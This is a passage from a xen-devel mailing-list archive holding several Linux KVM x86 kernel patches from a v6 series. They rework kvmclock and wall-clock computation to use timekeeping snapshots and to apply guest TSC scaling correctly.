CLOCK_MONOTONIC_RAW + offs_boot. The snapshot provides the raw time
atomically paired with the TSC; offs_boot is added separately as it
only changes at suspend/resume boundaries.

This is a step towards eliminating the pvclock_gtod_data private copy
of timekeeping state and the associated notifier callback.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 53 ++++++++++++++++++++++++++++++++++++----------
 1 file changed, 42 insertions(+), 11 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 37a768b2fe16..56afd5e66c06 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -35,6 +35,7 @@
 #include "smm.h"
 
 #include <linux/clocksource.h>
+#include <linux/timekeeping.h>
 #include <linux/interrupt.h>
 #include <linux/kvm.h>
 #include <linux/fs.h>
@@ -3154,14 +3155,39 @@ static int do_realtime(struct timespec64 *ts, u64 *tsc_timestamp)
  * reports the TSC value from which it do so. Returns true if host is
  * using TSC based clocksource.
  */
+static bool kvm_snapshot_has_tsc(struct system_time_snapshot *snap,
+				u64 *tsc_timestamp)
+{
+	/*
+	 * ktime_get_snapshot_id() cannot fail for standard clock IDs
+	 * (only for invalid/aux clocks or during suspend, with a WARN).
+	 */
+	if (!snap->valid)
+		return false;
+
+	if (snap->cs_id == CSID_X86_TSC) {
+		*tsc_timestamp = snap->cycles;
+		return true;
+	}
+
+	if (snap->hw_csid == CSID_X86_TSC && snap->hw_cycles) {
+		*tsc_timestamp = snap->hw_cycles;
+		return true;
+	}
+
+	return false;
+}
+
 static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_MONOTONIC_RAW, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_kvmclock_base(kernel_ns,
-						     tsc_timestamp));
+	*kernel_ns = ktime_to_ns(ktime_mono_to_any(snap.systime, TK_OFFS_BOOT));
+	return true;
 }
 
 /*
@@ -3170,12 +3196,14 @@ static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
  */
 bool kvm_get_monotonic_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_MONOTONIC, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_monotonic(kernel_ns,
-						 tsc_timestamp));
+	*kernel_ns = ktime_to_ns(snap.systime);
+	return true;
 }
 
 /*
@@ -3188,11 +3216,14 @@ bool kvm_get_monotonic_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 static bool kvm_get_walltime_and_clockread(struct timespec64 *ts,
 					   u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_REALTIME, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_realtime(ts, tsc_timestamp));
+	*ts = ktime_to_timespec64(snap.systime);
+	return true;
 }
 #endif
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353882.1609627 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMM-0005h2-Lm; Fri, 03 Jul 2026 21:23:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353882.1609627; Fri, 03 Jul 2026 21:23:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMM-0005gl-IC; Fri, 03 Jul 2026 21:23:42 +0000
Received: by outflank-mailman (input) for mailman id 1353882;
 Fri, 03 Jul 2026 21:23:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflML-0005et-F3
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMK-001XO6-S9; Fri, 03 Jul 2026 23:23:40 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48282a-5cb7-0a2a0a5109dd-0a2a450aa8e8-22
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:40 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48285c-e40e-0a2a450a0019-5a9b5cc7db7c-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:40 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059O1-3OLf; Fri, 03 Jul 2026 21:23:26 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROd-1uel;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=GJgji+5kC3YzYVHStlFYRgwhsr0ZfLQx7Fpf6sFlDAA=; b=aNaMFKhduCWNdatfzzJJHFUyeo
	Rv0SPwZDALsXDKwMgu8TapnCKqex3QPVj6TX+zcg6JTU+v1auSQB/Dm++Fne6Kd6/Xsd1WpTAh66p
	+Jw+sbONjIBR0Ucx+tpPYaoTJ+irYWQyCueZjPBZL8ujVdf7l3w9ZfCHuqaOz3JKseBAeiAyDV+7D
	ZHZ8RHyxNJF0eyEn2u16sn8ppCB0vLGNANDCMEtR4E8moNuG3lTnO3T0FdJSxQh+iIg5dUgiofp4Q
	WdYXyTAa47+JwSUPFmx+SeUirPzgv2aPbC8gxMNw396yX7a6sSd6/7iF/f4W8/EB9/3wPty5xPA5/
	oJ+JIJWg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 13/36] KVM: x86: Fix KVM clock precision in get_kvmclock() with TSC scaling
Date: Fri,  3 Jul 2026 22:17:52 +0100
Message-ID: <20260703212145.343527-14-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113820-3D275DDE-6998DC17/0/0
X-purgate-type: clean
X-purgate-size: 4620

From: David Woodhouse <dwmw@amazon.co.uk>

When in master clock mode, the KVM clock is defined in terms of the
guest TSC. But get_kvmclock() was computing it from the host TSC
without applying TSC scaling, leading to a systemic drift from the
values the guest computes from its own TSC.

Store the VM's TSC scaling ratio in kvm_arch and precompute the
guest-TSC-based mul/shift in pvclock_update_vm_gtod_copy(). Use these
in get_kvmclock() to scale the host TSC delta to guest TSC before
converting to nanoseconds.

This avoids "definition C" of the KVM clock described in the
earlier commit "KVM: x86/xen: Do not corrupt KVM clock in
kvm_xen_shared_info_init()".

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  4 +++
 arch/x86/kvm/x86.c              | 52 +++++++++++++++++++++++++++++----
 2 files changed, 51 insertions(+), 5 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index b2446c04a076..87435ddecde1 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1490,6 +1490,7 @@ struct kvm_arch {
 	u64 last_tsc_write;
 	u32 last_tsc_khz;
 	u64 last_tsc_offset;
+	u64 last_tsc_scaling_ratio;
 	u64 cur_tsc_nsec;
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
@@ -1505,6 +1506,9 @@ struct kvm_arch {
 	u64 master_kernel_ns;
 	u64 master_cycle_now;
 	struct ratelimit_state kvmclock_update_rs;
+	u64 master_tsc_scaling_ratio;
+	s8  master_tsc_shift;
+	u32 master_tsc_mul;
 
 #ifdef CONFIG_KVM_HYPERV
 	struct kvm_hv hyperv;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 37b1f8192842..65aa0fb0b5e1 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2781,6 +2781,7 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 	kvm->arch.last_tsc_write = tsc;
 	kvm->arch.last_tsc_khz = vcpu->arch.virtual_tsc_khz;
 	kvm->arch.last_tsc_offset = offset;
+	kvm->arch.last_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
 	vcpu->arch.last_guest_tsc = tsc;
 
@@ -3109,6 +3110,8 @@ static bool kvm_get_walltime_and_clockread(struct timespec64 *ts,
  *
  */
 
+static unsigned long get_cpu_tsc_khz(void);
+
 static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 {
 #ifdef CONFIG_X86_64
@@ -3132,9 +3135,30 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 				&& !ka->backwards_tsc_observed
 				&& !ka->boot_vcpu_runs_old_kvmclock;
 
-	if (ka->use_master_clock)
+	if (ka->use_master_clock) {
+		u64 tsc_hz;
+
 		atomic_set(&kvm_guest_has_master_clock, 1);
 
+		/*
+		 * Copy the scaling ratio and precompute the mul/shift for
+		 * converting guest TSC to nanoseconds. These are used by
+		 * get_kvmclock() to compute kvmclock from the host TSC
+		 * without needing a vCPU reference.
+		 */
+		ka->master_tsc_scaling_ratio = ka->last_tsc_scaling_ratio;
+		tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
+		if (tsc_hz && kvm_caps.has_tsc_control)
+			tsc_hz = kvm_scale_tsc(tsc_hz,
+					       ka->master_tsc_scaling_ratio);
+		if (tsc_hz)
+			kvm_get_time_scale(NSEC_PER_SEC, tsc_hz,
+					   &ka->master_tsc_shift,
+					   &ka->master_tsc_mul);
+		else
+			ka->use_master_clock = false;
+	}
+
 	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
 	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
 					vcpus_matched);
@@ -3220,10 +3244,28 @@ static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 
 				hv_clock.tsc_timestamp = ka->master_cycle_now;
 				hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-				kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-						   &hv_clock.tsc_shift,
-						   &hv_clock.tsc_to_system_mul);
-				data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+
+				/*
+				 * Use the precomputed guest-TSC-based mul/shift
+				 * so that the kvmclock value matches what the
+				 * guest computes from its own TSC.
+				 */
+				hv_clock.tsc_shift = ka->master_tsc_shift;
+				hv_clock.tsc_to_system_mul = ka->master_tsc_mul;
+
+				if (kvm_caps.has_tsc_control) {
+					u64 tsc_delta = data->host_tsc - ka->master_cycle_now;
+
+					tsc_delta = kvm_scale_tsc(tsc_delta,
+								  ka->master_tsc_scaling_ratio);
+					data->clock = hv_clock.system_time +
+						pvclock_scale_delta(tsc_delta,
+								    hv_clock.tsc_to_system_mul,
+								    hv_clock.tsc_shift);
+				} else {
+					data->clock = __pvclock_read_cycles(&hv_clock,
+									    data->host_tsc);
+				}
 				continue;
 			}
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353883.1609632 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMM-0005kO-Un; Fri, 03 Jul 2026 21:23:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353883.1609632; Fri, 03 Jul 2026 21:23:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMM-0005jN-PI; Fri, 03 Jul 2026 21:23:42 +0000
Received: by outflank-mailman (input) for mailman id 1353883;
 Fri, 03 Jul 2026 21:23:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMM-0005fl-0s
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflML-00A83n-Dv; Fri, 03 Jul 2026 23:23:41 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482855-e002-0a2a0a5209dd-0a2a450295e8-8
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:41 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48285c-5a27-0a2a45020019-5a9b5cc7c936-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:41 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKc-000000059O2-31Bq; Fri, 03 Jul 2026 21:23:04 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROh-26Xn;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=B9z9WHPmvLHevYFOtmsj0qG2r63h9YkhzzxvRZTeAmQ=; b=onaWDNN2jSP0Q3PZPJs7nogpsV
	djN5zQDEAAEwp07PHEgjWunIEq3y03q0c8S7zV2OcMlYhl/J34JEKZ7hDMXXyEtTrI/81rwJ8Q8gM
	QFTPzOTXCK8UXssjTS9zoGTX9rQa4JMpnl9rJ36ID3INFYr2lBLrrofRd04iiPjaseA5YUq4XVSN+
	P9NXmp10mCYVX7lINntbmHveElZKC1lFoVpWLbMkv65zJAIwkRzxBWGO+p0yyYJDfQF/6Kweqcw6j
	YMLtCZsL3NEMhJ26U9Dc5d2d7RIA/mGXd6lQ4sqAxNmH6Bvcz9akyjmHc63sIuT7ieyCDZ6azwkhU
	pCaM9FxA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 14/36] KVM: x86: Use get_kvmclock() in kvm_get_wall_clock_epoch()
Date: Fri,  3 Jul 2026 22:17:53 +0100
Message-ID: <20260703212145.343527-15-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1783113821-7751C7C5-1868F5BF/0/0
X-purgate-type: clean
X-purgate-size: 3112

From: David Woodhouse <dwmw@amazon.co.uk>

Now that get_kvmclock() correctly handles TSC scaling and captures both
wallclock and kvmclock from the same TSC reading,
kvm_get_wall_clock_epoch() can simply call it instead of duplicating
the pvclock computation.

This eliminates the last instance of the "definition C" kvmclock
calculation that computed nanoseconds directly from the host TSC
without accounting for guest TSC scaling.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 59 +++++++---------------------------------------
 1 file changed, 9 insertions(+), 50 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 65aa0fb0b5e1..376b8dc2ade9 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3480,63 +3480,22 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
  * wallclock and kvmclock times, and subtracting one from the other.
  *
  * Fall back to using their values at slightly different moments by
- * calling ktime_get_real_ns() and get_kvmclock_ns() separately.
+ * calling ktime_get_real_ns() and get_kvmclock() separately.
  */
 uint64_t kvm_get_wall_clock_epoch(struct kvm *kvm)
 {
-#ifdef CONFIG_X86_64
-	struct pvclock_vcpu_time_info hv_clock;
-	struct kvm_arch *ka = &kvm->arch;
-	unsigned long seq, local_tsc_khz;
-	struct timespec64 ts;
-	uint64_t host_tsc;
-
-	do {
-		seq = read_seqcount_begin(&ka->pvclock_sc);
-
-		local_tsc_khz = 0;
-		if (!ka->use_master_clock)
-			break;
-
-		/*
-		 * The TSC read and the call to get_cpu_tsc_khz() must happen
-		 * on the same CPU.
-		 */
-		get_cpu();
-
-		local_tsc_khz = get_cpu_tsc_khz();
-
-		if (local_tsc_khz &&
-		    !kvm_get_walltime_and_clockread(&ts, &host_tsc))
-			local_tsc_khz = 0; /* Fall back to old method */
-
-		put_cpu();
-
-		/*
-		 * These values must be snapshotted within the seqcount loop.
-		 * After that, it's just mathematics which can happen on any
-		 * CPU at any time.
-		 */
-		hv_clock.tsc_timestamp = ka->master_cycle_now;
-		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+	struct kvm_clock_data data;
 
-	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
+	get_kvmclock(kvm, &data);
 
 	/*
-	 * If the conditions were right, and obtaining the wallclock+TSC was
-	 * successful, calculate the KVM clock at the corresponding time and
-	 * subtract one from the other to get the guest's epoch in nanoseconds
-	 * since 1970-01-01.
+	 * If get_kvmclock() captured both wallclock and kvmclock from the
+	 * same TSC reading, use them for a precise epoch calculation.
 	 */
-	if (local_tsc_khz) {
-		kvm_get_time_scale(NSEC_PER_SEC, local_tsc_khz * NSEC_PER_USEC,
-				   &hv_clock.tsc_shift,
-				   &hv_clock.tsc_to_system_mul);
-		return ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec -
-			__pvclock_read_cycles(&hv_clock, host_tsc);
-	}
-#endif
-	return ktime_get_real_ns() - get_kvmclock_ns(kvm);
+	if (data.flags & KVM_CLOCK_REALTIME)
+		return data.realtime - data.clock;
+
+	return ktime_get_real_ns() - data.clock;
 }
 
 /*
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353884.1609645 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMP-0006D2-8H; Fri, 03 Jul 2026 21:23:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353884.1609645; Fri, 03 Jul 2026 21:23:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMP-0006Cs-2Y; Fri, 03 Jul 2026 21:23:45 +0000
Received: by outflank-mailman (input) for mailman id 1353884;
 Fri, 03 Jul 2026 21:23:43 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMN-0005qG-BT
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMM-000kw0-O4; Fri, 03 Jul 2026 23:23:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48281c-2eae-0a2a0a5409dd-0a2a4504979a-10
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:42 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48285d-a01d-0a2a45040019-5a9b5cc78d46-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:42 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKe-000000059OF-0vI4; Fri, 03 Jul 2026 21:23:11 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RQD-3BKG;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=Ort/pZQb4ierCrxm1j8Wvj2iLn37EL9Xs8ile8CK+5w=; b=iGUqq6bke/f9INoPyifWfn6tMr
	Dxx9c7T5UqI5UMg8YjyLmZpMVseB7N8tyabz9obX/dC+ngIU3yv1JHY3JTAWY6WngiA570Ryh4IOF
	b01mRW0I0bfTI3wDMXY7Yqmz4AqjFrVwhNTMruP7kS6z7gO1y/WKqWK9lLjnLOsgL2ks7g7OnG9iK
	1C80or7kq0ERNDnGtFaUh3xmfdkYHkkAWlJ+T0ZNUpaqHxFoQDCFHBGH5vce0dCBsk83GzuL97PPe
	r2wTSTLoYRY1lpzZtdTadwaq2mg2QrWDju/Gu1EeSlgsy4TO/ncXhKlwClbwNm7lOreXmIVUpUc0Y
	cP23OeUg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
